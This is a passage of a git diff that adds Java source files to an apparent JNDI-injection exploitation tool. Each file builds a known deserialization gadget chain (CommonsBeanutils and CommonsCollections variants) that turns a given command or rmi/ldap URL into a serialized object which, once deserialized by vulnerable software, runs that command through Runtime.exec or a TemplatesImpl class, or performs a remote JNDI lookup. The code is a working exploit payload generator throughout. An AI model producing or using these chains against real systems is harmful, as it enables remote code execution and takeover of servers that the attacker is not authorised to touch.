+ queueArray[1] = dataSource; + + return queue; + } +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/CommonsBeanutils2NOCC.java b/src/main/java/com/qi4l/jndi/gadgets/CommonsBeanutils2NOCC.java new file mode 100644 index 0000000..ace99b2 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/CommonsBeanutils2NOCC.java @@ -0,0 +1,47 @@ +package com.qi4l.jndi.gadgets; + +import com.qi4l.jndi.enumtypes.PayloadType; +import com.qi4l.jndi.gadgets.annotation.Dependencies; +import com.qi4l.jndi.gadgets.utils.Gadgets; +import com.qi4l.jndi.gadgets.utils.SuClassLoader; +import com.qi4l.jndi.gadgets.utils.Reflections; +import javassist.ClassClassPath; +import javassist.ClassPool; +import javassist.CtClass; + +import java.util.Comparator; +import java.util.PriorityQueue; + + +import static com.qi4l.jndi.gadgets.utils.InjShell.insertField; + +@SuppressWarnings({"rawtypes", "unchecked"}) +@Dependencies({"commons-beanutils:commons-beanutils:1.8.3", "commons-logging:commons-logging:1.2"}) +public class CommonsBeanutils2NOCC implements ObjectPayload { + + public Object getObject(String command) throws Exception { + + final Object templates; + templates = Gadgets.createTemplatesImpl(command); + // 修改BeanComparator类的serialVersionUID + ClassPool pool = ClassPool.getDefault(); + pool.insertClassPath(new ClassClassPath(Class.forName("org.apache.commons.beanutils.BeanComparator"))); + final CtClass ctBeanComparator = pool.get("org.apache.commons.beanutils.BeanComparator"); + + insertField(ctBeanComparator, "serialVersionUID", "private static final long serialVersionUID = -3490850999041592962L;"); + + final Comparator comparator = (Comparator) ctBeanComparator.toClass(new SuClassLoader()).newInstance(); + Reflections.setFieldValue(comparator, "property", null); + Reflections.setFieldValue(comparator, "comparator", String.CASE_INSENSITIVE_ORDER); + + final PriorityQueue queue = new PriorityQueue(2, comparator); + // stub data for replacement later + queue.add("1"); + queue.add("1"); + + Reflections.setFieldValue(comparator, "property", "outputProperties"); + Reflections.setFieldValue(queue, "queue", new Object[]{templates, templates}); + ctBeanComparator.defrost(); + return queue; + } +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/CommonsBeanutils3.java b/src/main/java/com/qi4l/jndi/gadgets/CommonsBeanutils3.java new file mode 100644 index 0000000..745bd01 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/CommonsBeanutils3.java @@ -0,0 +1,34 @@ +package com.qi4l.jndi.gadgets; + +import com.qi4l.jndi.gadgets.annotation.Dependencies; +import com.qi4l.jndi.gadgets.utils.Reflections; +import com.sun.rowset.JdbcRowSetImpl; +import org.apache.commons.beanutils.BeanComparator; + +import java.math.BigInteger; +import java.util.PriorityQueue; + +@Dependencies({"commons-beanutils:commons-beanutils:1.9.2", "commons-collections:commons-collections:3.1"}) +public class CommonsBeanutils3 implements ObjectPayload { + + @Override + public Object getObject(String command) throws Exception { + String jndiURL = null; + if (command.toLowerCase().startsWith("jndi:")) { + jndiURL = command.substring(5); + } + + BeanComparator comparator = new BeanComparator("lowestSetBit"); + JdbcRowSetImpl rs = new JdbcRowSetImpl(); + rs.setDataSourceName(jndiURL); + rs.setMatchColumn("QI4L"); + PriorityQueue queue = new PriorityQueue(2, comparator); + + queue.add(new BigInteger("1")); + queue.add(new BigInteger("1")); + + Reflections.setFieldValue(comparator, "property", "databaseMetaData"); + Reflections.setFieldValue(queue, "queue", new Object[]{rs, rs}); + return queue; + } +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/CommonsBeanutils4.java b/src/main/java/com/qi4l/jndi/gadgets/CommonsBeanutils4.java new file mode 100644 index 0000000..8bd2ca2 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/CommonsBeanutils4.java @@ -0,0 +1,46 @@ +package com.qi4l.jndi.gadgets; + +import com.qi4l.jndi.gadgets.utils.Reflections; +import org.apache.commons.beanutils.BeanComparator; + +import javax.naming.CompositeName; +import java.lang.reflect.Constructor; +import java.util.PriorityQueue; + +public class CommonsBeanutils4 implements ObjectPayload { + @Override + public Object getObject(String command) throws Exception { + if (command.toLowerCase().startsWith("jndi:")) { + command = command.substring(5); + } + + if (!command.toLowerCase().startsWith("ldap://") && !command.toLowerCase().startsWith("rmi://")) { + throw new Exception("Command format is: [rmi|ldap]://host:port/obj"); + } + + int index = command.indexOf("/", 7); + String host = command.substring(0, index); + String path = command.substring(index + 1); + + String query = path.replace("/", "\\"); + + Class ldapAttributeClazz = Class.forName("com.sun.jndi.ldap.LdapAttribute"); + Constructor ldapAttributeClazzConstructor = ldapAttributeClazz.getDeclaredConstructor(new Class[]{String.class}); + ldapAttributeClazzConstructor.setAccessible(true); + Object ldapAttribute = ldapAttributeClazzConstructor.newInstance(new Object[]{"name"}); + + Reflections.setFieldValue(ldapAttribute, "baseCtxURL", host); + Reflections.setFieldValue(ldapAttribute, "rdn", new CompositeName(query + "//su18")); + + final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER); + + final PriorityQueue queue = new PriorityQueue(2, comparator); + queue.add("1"); + queue.add("1"); + + Reflections.setFieldValue(comparator, "property", "attributeDefinition"); + Reflections.setFieldValue(queue, "queue", new Object[]{ldapAttribute, ldapAttribute}); + + return queue; + } +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/CommonsBeanutilsAttrCompare.java b/src/main/java/com/qi4l/jndi/gadgets/CommonsBeanutilsAttrCompare.java new file mode 100644 index 0000000..fca0f7a --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/CommonsBeanutilsAttrCompare.java @@ -0,0 +1,38 @@ +package com.qi4l.jndi.gadgets; + +import com.qi4l.jndi.gadgets.annotation.Authors; +import com.qi4l.jndi.gadgets.annotation.Dependencies; +import com.qi4l.jndi.gadgets.utils.Gadgets; +import com.qi4l.jndi.gadgets.utils.Reflections; +import com.sun.org.apache.xerces.internal.dom.AttrNSImpl; +import com.sun.org.apache.xerces.internal.dom.CoreDocumentImpl; +import com.sun.org.apache.xml.internal.security.c14n.helper.AttrCompare; +import org.apache.commons.beanutils.BeanComparator; + +import java.util.PriorityQueue; + + +@Dependencies({"commons-beanutils:commons-beanutils:1.9.2"}) +@Authors({"水滴"}) +public class CommonsBeanutilsAttrCompare implements ObjectPayload { + @Override + public Object getObject(String command) throws Exception { + final Object template; + template = Gadgets.createTemplatesImpl(command); + AttrNSImpl attrNS1 = new AttrNSImpl(); + CoreDocumentImpl coreDocument = new CoreDocumentImpl(); + attrNS1.setValues(coreDocument, "1", "1", "1"); + + BeanComparator beanComparator = new BeanComparator(null, new AttrCompare()); + + PriorityQueue queue = new PriorityQueue(2, beanComparator); + + queue.add(attrNS1); + queue.add(attrNS1); + + Reflections.setFieldValue(queue, "queue", new Object[]{template, template}); + Reflections.setFieldValue(beanComparator, "property", "outputProperties"); + + return queue; + } +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/CommonsBeanutilsAttrCompare183.java b/src/main/java/com/qi4l/jndi/gadgets/CommonsBeanutilsAttrCompare183.java new file mode 100644 index 0000000..aec95db --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/CommonsBeanutilsAttrCompare183.java @@ -0,0 +1,56 @@ +package com.qi4l.jndi.gadgets; + +import com.qi4l.jndi.enumtypes.PayloadType; +import com.qi4l.jndi.gadgets.annotation.Authors; +import com.qi4l.jndi.gadgets.annotation.Dependencies; +import com.qi4l.jndi.gadgets.utils.Gadgets; +import com.qi4l.jndi.gadgets.utils.Reflections; +import com.qi4l.jndi.gadgets.utils.SuClassLoader; +import com.sun.org.apache.xerces.internal.dom.AttrNSImpl; +import com.sun.org.apache.xerces.internal.dom.CoreDocumentImpl; +import com.sun.org.apache.xml.internal.security.c14n.helper.AttrCompare; +import javassist.ClassClassPath; +import javassist.ClassPool; +import javassist.CtClass; +import javassist.CtField; + +import java.util.Comparator; +import java.util.PriorityQueue; + + +@Dependencies({"commons-beanutils:commons-beanutils:1.8.3"}) +@Authors({"SummerSec"}) +public class CommonsBeanutilsAttrCompare183 implements ObjectPayload { + @Override + public Object getObject(String command) throws Exception { + final Object template; + template = Gadgets.createTemplatesImpl(command); + AttrNSImpl attrNS1 = new AttrNSImpl(); + CoreDocumentImpl coreDocument = new CoreDocumentImpl(); + attrNS1.setValues(coreDocument, "1", "1", "1"); + + ClassPool pool = ClassPool.getDefault(); + pool.insertClassPath(new ClassClassPath(Class.forName("org.apache.commons.beanutils.BeanComparator"))); + final CtClass ctBeanComparator = pool.get("org.apache.commons.beanutils.BeanComparator"); + try { + CtField ctSUID = ctBeanComparator.getDeclaredField("serialVersionUID"); + ctBeanComparator.removeField(ctSUID); + } catch (javassist.NotFoundException e) { + } + ctBeanComparator.addField(CtField.make("private static final long serialVersionUID = -3490850999041592962L;", ctBeanComparator)); + final Comparator beanComparator = (Comparator) ctBeanComparator.toClass(new SuClassLoader()).newInstance(); + + ctBeanComparator.defrost(); + + Reflections.setFieldValue(beanComparator, "comparator", new AttrCompare()); + PriorityQueue queue = new PriorityQueue(2, (Comparator) beanComparator); + + queue.add(attrNS1); + queue.add(attrNS1); + + Reflections.setFieldValue(queue, "queue", new Object[]{template, template}); + Reflections.setFieldValue(beanComparator, "property", "outputProperties"); + + return queue; + } +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/CommonsBeanutilsObjectToStringComparator.java b/src/main/java/com/qi4l/jndi/gadgets/CommonsBeanutilsObjectToStringComparator.java new file mode 100644 index 0000000..ce8ef68 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/CommonsBeanutilsObjectToStringComparator.java @@ -0,0 +1,35 @@ +package com.qi4l.jndi.gadgets; + +import com.qi4l.jndi.gadgets.annotation.Authors; +import com.qi4l.jndi.gadgets.annotation.Dependencies; +import com.qi4l.jndi.gadgets.utils.Gadgets; +import com.qi4l.jndi.gadgets.utils.Reflections; +import org.apache.commons.beanutils.BeanComparator; +import org.apache.commons.lang3.compare.ObjectToStringComparator; + +import java.util.PriorityQueue; + +@Dependencies({"commons-beanutils:commons-beanutils:1.9.2", "org.apache.commons:commons-lang3:3.10"}) +@Authors({"水滴"}) +public class CommonsBeanutilsObjectToStringComparator implements ObjectPayload { + @Override + public Object getObject(String command) throws Exception { + final Object template; + template = Gadgets.createTemplatesImpl(command); + + ObjectToStringComparator stringComparator = new ObjectToStringComparator(); + + BeanComparator beanComparator = new BeanComparator(null, new ObjectToStringComparator()); + + PriorityQueue queue = new PriorityQueue(2, beanComparator); + + queue.add(stringComparator); + queue.add(stringComparator); + + Reflections.setFieldValue(queue, "queue", new Object[]{template, template}); + Reflections.setFieldValue(beanComparator, "property", "outputProperties"); + + return queue; + } + +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/CommonsBeanutilsObjectToStringComparator183.java b/src/main/java/com/qi4l/jndi/gadgets/CommonsBeanutilsObjectToStringComparator183.java new file mode 100644 index 0000000..88f558e --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/CommonsBeanutilsObjectToStringComparator183.java @@ -0,0 +1,50 @@ +package com.qi4l.jndi.gadgets; + +import com.qi4l.jndi.gadgets.annotation.Authors; +import com.qi4l.jndi.gadgets.annotation.Dependencies; +import com.qi4l.jndi.gadgets.utils.Gadgets; +import com.qi4l.jndi.gadgets.utils.Reflections; +import com.qi4l.jndi.gadgets.utils.SuClassLoader; +import javassist.ClassClassPath; +import javassist.ClassPool; +import javassist.CtClass; +import javassist.CtField; +import org.apache.commons.lang3.compare.ObjectToStringComparator; + +import java.util.Comparator; +import java.util.PriorityQueue; + + +@Dependencies({"commons-beanutils:commons-beanutils:1.8.3", "org.apache.commons:commons-lang3:3.10"}) +@Authors({"SummerSec"}) +public class CommonsBeanutilsObjectToStringComparator183 implements ObjectPayload { + @Override + public Object getObject(String command) throws Exception { + final Object template; + template = Gadgets.createTemplatesImpl(command); + ClassPool pool = ClassPool.getDefault(); + pool.insertClassPath(new ClassClassPath(Class.forName("org.apache.commons.beanutils.BeanComparator"))); + final CtClass ctBeanComparator = pool.get("org.apache.commons.beanutils.BeanComparator"); + try { + CtField ctSUID = ctBeanComparator.getDeclaredField("serialVersionUID"); + ctBeanComparator.removeField(ctSUID); + } catch (javassist.NotFoundException e) { + } + ctBeanComparator.addField(CtField.make("private static final long serialVersionUID = -3490850999041592962L;", ctBeanComparator)); + final Comparator beanComparator = (Comparator) ctBeanComparator.toClass(new SuClassLoader()).newInstance(); + ctBeanComparator.defrost(); + Reflections.setFieldValue(beanComparator, "comparator", new ObjectToStringComparator()); + + ObjectToStringComparator stringComparator = new ObjectToStringComparator(); + + PriorityQueue queue = new PriorityQueue(2, (Comparator) beanComparator); + + queue.add(stringComparator); + queue.add(stringComparator); + + Reflections.setFieldValue(queue, "queue", new Object[]{template, template}); + Reflections.setFieldValue(beanComparator, "property", "outputProperties"); + + return queue; + } +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/CommonsBeanutilsPropertySource.java b/src/main/java/com/qi4l/jndi/gadgets/CommonsBeanutilsPropertySource.java new file mode 100644 index 0000000..6c2c2a6 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/CommonsBeanutilsPropertySource.java @@ -0,0 +1,40 @@ +package com.qi4l.jndi.gadgets; + +import com.qi4l.jndi.gadgets.annotation.Authors; +import com.qi4l.jndi.gadgets.annotation.Dependencies; +import com.qi4l.jndi.gadgets.utils.Gadgets; +import com.qi4l.jndi.gadgets.utils.Reflections; +import org.apache.commons.beanutils.BeanComparator; +import org.apache.logging.log4j.util.PropertySource; + +import java.util.PriorityQueue; + + +@Dependencies({"commons-beanutils:commons-beanutils:1.9.2", "org.apache.logging.log4j:log4j-core:2.17.1"}) +@Authors({"SummerSec"}) +public class CommonsBeanutilsPropertySource implements ObjectPayload { + @Override + public Object getObject(String command) throws Exception { + final Object template; + template = Gadgets.createTemplatesImpl(command); + PropertySource propertySource1 = new PropertySource() { + @Override + public int getPriority() { + return 0; + } + }; + + BeanComparator beanComparator = new BeanComparator(null, new PropertySource.Comparator()); + + PriorityQueue queue = new PriorityQueue(2, beanComparator); + + queue.add(propertySource1); + queue.add(propertySource1); + + Reflections.setFieldValue(queue, "queue", new Object[]{template, template}); + Reflections.setFieldValue(beanComparator, "property", "outputProperties"); + + return queue; + } + +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/CommonsBeanutilsPropertySource183.java b/src/main/java/com/qi4l/jndi/gadgets/CommonsBeanutilsPropertySource183.java new file mode 100644 index 0000000..a1ad012 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/CommonsBeanutilsPropertySource183.java @@ -0,0 +1,56 @@ +package com.qi4l.jndi.gadgets; + +import com.qi4l.jndi.gadgets.annotation.Authors; +import com.qi4l.jndi.gadgets.annotation.Dependencies; +import com.qi4l.jndi.gadgets.utils.Gadgets; +import com.qi4l.jndi.gadgets.utils.Reflections; +import com.qi4l.jndi.gadgets.utils.SuClassLoader; +import javassist.ClassClassPath; +import javassist.ClassPool; +import javassist.CtClass; +import javassist.CtField; +import org.apache.logging.log4j.util.PropertySource; + +import java.util.Comparator; +import java.util.PriorityQueue; + + +@Dependencies({"commons-beanutils:commons-beanutils:1.9.2", "org.apache.logging.log4j:log4j-core:2.17.1"}) +@Authors({"SummerSec"}) +public class CommonsBeanutilsPropertySource183 implements ObjectPayload { + @Override + public Object getObject(String command) throws Exception { + final Object template; + template = Gadgets.createTemplatesImpl(command); + PropertySource propertySource1 = new PropertySource() { + @Override + public int getPriority() { + return 0; + } + }; + + ClassPool pool = ClassPool.getDefault(); + pool.insertClassPath(new ClassClassPath(Class.forName("org.apache.commons.beanutils.BeanComparator"))); + final CtClass ctBeanComparator = pool.get("org.apache.commons.beanutils.BeanComparator"); + try { + CtField ctSUID = ctBeanComparator.getDeclaredField("serialVersionUID"); + ctBeanComparator.removeField(ctSUID); + } catch (javassist.NotFoundException e) { + } + ctBeanComparator.addField(CtField.make("private static final long serialVersionUID = -3490850999041592962L;", ctBeanComparator)); + final Comparator beanComparator = (Comparator) ctBeanComparator.toClass(new SuClassLoader()).newInstance(); + ctBeanComparator.defrost(); + Reflections.setFieldValue(beanComparator, "comparator", new PropertySource.Comparator()); + + + PriorityQueue queue = new PriorityQueue(2, (Comparator) beanComparator); + + queue.add(propertySource1); + queue.add(propertySource1); + + Reflections.setFieldValue(queue, "queue", new Object[]{template, template}); + Reflections.setFieldValue(beanComparator, "property", "outputProperties"); + + return queue; + } +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/CommonsCollections1.java b/src/main/java/com/qi4l/jndi/gadgets/CommonsCollections1.java new file mode 100644 index 0000000..290f850 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/CommonsCollections1.java @@ -0,0 +1,62 @@ +package com.qi4l.jndi.gadgets; + +import com.qi4l.jndi.gadgets.annotation.Authors; +import com.qi4l.jndi.gadgets.annotation.Dependencies; +import com.qi4l.jndi.gadgets.utils.Gadgets; +import com.qi4l.jndi.gadgets.utils.Reflections; +import com.qi4l.jndi.gadgets.utils.cc.TransformerUtil; +import org.apache.commons.collections.Transformer; +import org.apache.commons.collections.functors.ChainedTransformer; +import org.apache.commons.collections.functors.ConstantTransformer; +import org.apache.commons.collections.map.LazyMap; + +import java.lang.reflect.InvocationHandler; +import java.util.HashMap; +import java.util.Map; + +/** + * Gadget chain: + * ObjectInputStream.readObject() + * AnnotationInvocationHandler.readObject() + * Map(Proxy).entrySet() + * AnnotationInvocationHandler.invoke() + * LazyMap.get() + * ChainedTransformer.transform() + * ConstantTransformer.transform() + * InvokerTransformer.transform() + * Method.invoke() + * Class.getMethod() + * InvokerTransformer.transform() + * Method.invoke() + * Runtime.getRuntime() + * InvokerTransformer.transform() + * Method.invoke() + * Runtime.exec() + *

+ * Requires: + * commons-collections + */ + +@SuppressWarnings({"rawtypes", "unchecked", "unused"}) +@Dependencies({"commons-collections:commons-collections:3.1"}) +@Authors({Authors.FROHOFF}) +public class CommonsCollections1 implements ObjectPayload { + + @Override + public InvocationHandler getObject(String command) throws Exception { + + final Transformer transformerChain = new ChainedTransformer( + new Transformer[]{new ConstantTransformer(1)}); + // real chain for after setup + final Transformer[] transformers = TransformerUtil.makeTransformer(command); + + final Map innerMap = new HashMap(); + final Map lazyMap = LazyMap.decorate(innerMap, transformerChain); + final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class); + final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy); + + Reflections.setFieldValue(transformerChain, "iTransformers", transformers);// 反射修改iTransformers属性会触发反序列化 + + return handler; + } +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/CommonsCollections10.java b/src/main/java/com/qi4l/jndi/gadgets/CommonsCollections10.java new file mode 100644 index 0000000..1ec3302 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/CommonsCollections10.java @@ -0,0 +1,44 @@ +package com.qi4l.jndi.gadgets; + +import com.qi4l.jndi.gadgets.annotation.Dependencies; +import com.qi4l.jndi.gadgets.utils.Gadgets; +import com.qi4l.jndi.gadgets.utils.Reflections; +import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; +import org.apache.commons.collections.functors.ConstantTransformer; +import org.apache.commons.collections.functors.FactoryTransformer; +import org.apache.commons.collections.functors.InstantiateFactory; +import org.apache.commons.collections.keyvalue.TiedMapEntry; +import org.apache.commons.collections.map.LazyMap; + +import javax.xml.transform.Templates; +import java.util.HashMap; +import java.util.Map; + + +@Dependencies({"commons-collections:commons-collections:3.2.1"}) + +public class CommonsCollections10 implements ObjectPayload { + + public Object getObject(String command) throws Exception { + final Object templates; + templates = Gadgets.createTemplatesImpl(command); + // 使用 InstantiateFactory 代替 InstantiateTransformer + InstantiateFactory instantiateFactory = new InstantiateFactory(TrAXFilter.class, new Class[]{Templates.class}, new Object[]{templates}); + + FactoryTransformer factoryTransformer = new FactoryTransformer(instantiateFactory); + + // 先放一个无关键要的 Transformer + ConstantTransformer constantTransformer = new ConstantTransformer(1); + Map innerMap = new HashMap(); + LazyMap outerMap = (LazyMap) LazyMap.decorate(innerMap, constantTransformer); + TiedMapEntry tme = new TiedMapEntry(outerMap, "QI4L"); + Map expMap = new HashMap(); + expMap.put(tme, "QI5L"); + + Reflections.setFieldValue(outerMap, "factory", factoryTransformer); + + outerMap.remove("QI4L"); + + return expMap; + } +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/CommonsCollections11.java b/src/main/java/com/qi4l/jndi/gadgets/CommonsCollections11.java new file mode 100644 index 0000000..6244402 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/CommonsCollections11.java @@ -0,0 +1,37 @@ +package com.qi4l.jndi.gadgets; + +import com.qi4l.jndi.gadgets.utils.Gadgets; +import com.qi4l.jndi.gadgets.utils.Reflections; +import org.apache.commons.collections.functors.ConstantTransformer; +import org.apache.commons.collections.functors.InvokerTransformer; +import org.apache.commons.collections.keyvalue.TiedMapEntry; +import org.apache.commons.collections.map.LazyMap; + +import java.util.HashMap; +import java.util.Map; + + +/** + * RMIConnector 二次反序列化 + * 需要调用其 connect 方法,因此需要调用任意方法的 Gadget,这里选择了 InvokerTransformer + * 直接传入 Base64 编码的序列化数据即可 + */ +public class CommonsCollections11 implements ObjectPayload { + + @Override + public Object getObject(String command) throws Exception { + final Object templates; + templates = Gadgets.createTemplatesImpl(command); + InvokerTransformer invokerTransformer = new InvokerTransformer("connect", null, null); + HashMap map = new HashMap<>(); + Map lazyMap = LazyMap.decorate(map, new ConstantTransformer(1)); + TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, templates); + HashMap expMap = new HashMap<>(); + expMap.put(tiedMapEntry, "QI4L"); + lazyMap.remove(templates); + + Reflections.setFieldValue(lazyMap, "factory", invokerTransformer); + + return expMap; + } +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/CommonsCollections12.java b/src/main/java/com/qi4l/jndi/gadgets/CommonsCollections12.java new file mode 100644 index 0000000..9e90e76 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/CommonsCollections12.java @@ -0,0 +1,31 @@ +package com.qi4l.jndi.gadgets; + +import com.qi4l.jndi.gadgets.annotation.Dependencies; +import com.qi4l.jndi.gadgets.utils.cc.TransformerUtil; +import org.apache.commons.collections.Transformer; +import org.apache.commons.collections.map.DefaultedMap; + +import java.util.HashMap; +import java.util.Hashtable; +import java.util.Map; + +@Dependencies({"commons-collections:commons-collections:3.2.1"}) +public class CommonsCollections12 implements ObjectPayload { + @Override + public Hashtable getObject(String command) throws Exception { + final Transformer[] transformers = TransformerUtil.makeTransformer(command); + Map hashMap1 = new HashMap(); + Map hashMap2 = new HashMap(); + DefaultedMap defaultedMap1 = (DefaultedMap) DefaultedMap.decorate(hashMap1, transformers); + DefaultedMap defaultedMap2 = (DefaultedMap) DefaultedMap.decorate(hashMap2, transformers); + + defaultedMap1.put("yy", 1); + defaultedMap2.put("zZ", 1); + Hashtable hashtable = new Hashtable(); + hashtable.put(defaultedMap1, 1); + hashtable.put(defaultedMap2, 1); + defaultedMap2.remove("yy"); + + return hashtable; + } +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/CommonsCollections2.java b/src/main/java/com/qi4l/jndi/gadgets/CommonsCollections2.java new file mode 100644 index 0000000..3faf811 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/CommonsCollections2.java @@ -0,0 +1,33 @@ +package com.qi4l.jndi.gadgets; + +import com.qi4l.jndi.gadgets.annotation.Authors; +import com.qi4l.jndi.gadgets.annotation.Dependencies; +import com.qi4l.jndi.gadgets.utils.Gadgets; +import com.qi4l.jndi.gadgets.utils.Reflections; +import org.apache.commons.collections4.comparators.TransformingComparator; +import org.apache.commons.collections4.functors.InvokerTransformer; + +import java.util.PriorityQueue; +import java.util.Queue; + + +@SuppressWarnings({"rawtypes", "unchecked"}) +@Dependencies({"org.apache.commons:commons-collections4:4.0"}) +@Authors({Authors.FROHOFF}) +public class CommonsCollections2 implements ObjectPayload> { + + public Queue getObject(String command) throws Exception { + final Object templates; + templates = Gadgets.createTemplatesImpl(command); + final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]); + final PriorityQueue queue = new PriorityQueue(2, new TransformingComparator(transformer)); + queue.add(1); + queue.add(1); + + Reflections.setFieldValue(transformer, "iMethodName", "newTransformer"); + Reflections.setFieldValue(queue, "queue", new Object[]{templates, templates}); + + return queue; + } + +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/CommonsCollections3.java b/src/main/java/com/qi4l/jndi/gadgets/CommonsCollections3.java new file mode 100644 index 0000000..7b91c45 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/CommonsCollections3.java @@ -0,0 +1,59 @@ +package com.qi4l.jndi.gadgets; + +import com.qi4l.jndi.gadgets.annotation.Authors; +import com.qi4l.jndi.gadgets.annotation.Dependencies; +import com.qi4l.jndi.gadgets.utils.Gadgets; +import com.qi4l.jndi.gadgets.utils.JavaVersion; +import com.qi4l.jndi.gadgets.utils.Reflections; +import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; +import org.apache.commons.collections.Transformer; +import org.apache.commons.collections.functors.ChainedTransformer; +import org.apache.commons.collections.functors.ConstantTransformer; +import org.apache.commons.collections.functors.InstantiateTransformer; +import org.apache.commons.collections.map.LazyMap; + +import javax.xml.transform.Templates; +import java.lang.reflect.InvocationHandler; +import java.util.HashMap; +import java.util.Map; + + +/** + * Variation on CommonsCollections1 that uses InstantiateTransformer instead of + * InvokerTransformer. + */ + +@SuppressWarnings({"rawtypes", "unchecked", "restriction", "unused"}) +@Dependencies({"commons-collections:commons-collections:3.1"}) +@Authors({Authors.FROHOFF}) +public class CommonsCollections3 implements ObjectPayload { + + public static boolean isApplicableJavaVersion() { + return JavaVersion.isAnnInvHUniversalMethodImpl(); + } + + public Object getObject(String command) throws Exception { + final Object templatesImpl; + templatesImpl = Gadgets.createTemplatesImpl(command); + + + // inert chain for setup + final Transformer transformerChain = new ChainedTransformer( + new Transformer[]{new ConstantTransformer(1)}); + // real chain for after setup + final Transformer[] transformers = new Transformer[]{ + new ConstantTransformer(TrAXFilter.class), + new InstantiateTransformer( + new Class[]{Templates.class}, + new Object[]{templatesImpl})}; + + final Map innerMap = new HashMap(); + final Map lazyMap = LazyMap.decorate(innerMap, transformerChain); + final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class); + final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy); + + Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain + + return handler; + } +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/CommonsCollections4.java b/src/main/java/com/qi4l/jndi/gadgets/CommonsCollections4.java new file mode 100644 index 0000000..649fb71 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/CommonsCollections4.java @@ -0,0 +1,58 @@ +package com.qi4l.jndi.gadgets; + +import com.qi4l.jndi.gadgets.annotation.Authors; +import com.qi4l.jndi.gadgets.annotation.Dependencies; +import com.qi4l.jndi.gadgets.utils.Gadgets; +import com.qi4l.jndi.gadgets.utils.Reflections; +import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; +import org.apache.commons.collections4.Transformer; +import org.apache.commons.collections4.comparators.TransformingComparator; +import org.apache.commons.collections4.functors.ChainedTransformer; +import org.apache.commons.collections4.functors.ConstantTransformer; +import org.apache.commons.collections4.functors.InstantiateTransformer; + +import javax.xml.transform.Templates; +import java.util.PriorityQueue; +import java.util.Queue; + + +/** + * Variation on CommonsCollections2 that uses InstantiateTransformer instead of + * InvokerTransformer. + */ + +@Dependencies({"org.apache.commons:commons-collections4:4.0"}) +@Authors({Authors.FROHOFF}) +public class CommonsCollections4 implements ObjectPayload> { + + public Queue getObject(String command) throws Exception { + final Object templates; + templates = Gadgets.createTemplatesImpl(command); + + ConstantTransformer constant = new ConstantTransformer(String.class); + + // mock method name until armed + Class[] paramTypes = new Class[]{String.class}; + Object[] args = new Object[]{Utils.generateRandomString(4)}; + InstantiateTransformer instantiate = new InstantiateTransformer( + paramTypes, args); + + // grab defensively copied arrays + paramTypes = (Class[]) Reflections.getFieldValue(instantiate, "iParamTypes"); + args = (Object[]) Reflections.getFieldValue(instantiate, "iArgs"); + + ChainedTransformer chain = new ChainedTransformer(new Transformer[]{constant, instantiate}); + + // create queue with numbers + PriorityQueue queue = new PriorityQueue(2, new TransformingComparator(chain)); + queue.add(1); + queue.add(1); + + // swap in values to arm + Reflections.setFieldValue(constant, "iConstant", TrAXFilter.class); + paramTypes[0] = Templates.class; + args[0] = templates; + + return queue; + } +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/CommonsCollections5.java b/src/main/java/com/qi4l/jndi/gadgets/CommonsCollections5.java new file mode 100644 index 0000000..cf33798 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/CommonsCollections5.java @@ -0,0 +1,65 @@ +package com.qi4l.jndi.gadgets; + +import com.qi4l.jndi.gadgets.annotation.Authors; +import com.qi4l.jndi.gadgets.annotation.Dependencies; +import com.qi4l.jndi.gadgets.utils.JavaVersion; +import com.qi4l.jndi.gadgets.utils.Reflections; +import com.qi4l.jndi.gadgets.utils.cc.TransformerUtil; +import org.apache.commons.collections.Transformer; +import org.apache.commons.collections.functors.ChainedTransformer; +import org.apache.commons.collections.functors.ConstantTransformer; +import org.apache.commons.collections.keyvalue.TiedMapEntry; +import org.apache.commons.collections.map.LazyMap; + +import javax.management.BadAttributeValueExpException; +import java.util.HashMap; +import java.util.Map; + +/** + * Gadget chain: + * ObjectInputStream.readObject() + * BadAttributeValueExpException.readObject() + * TiedMapEntry.toString() + * LazyMap.get() + * ChainedTransformer.transform() + * ConstantTransformer.transform() + * InvokerTransformer.transform() + * Method.invoke() + * 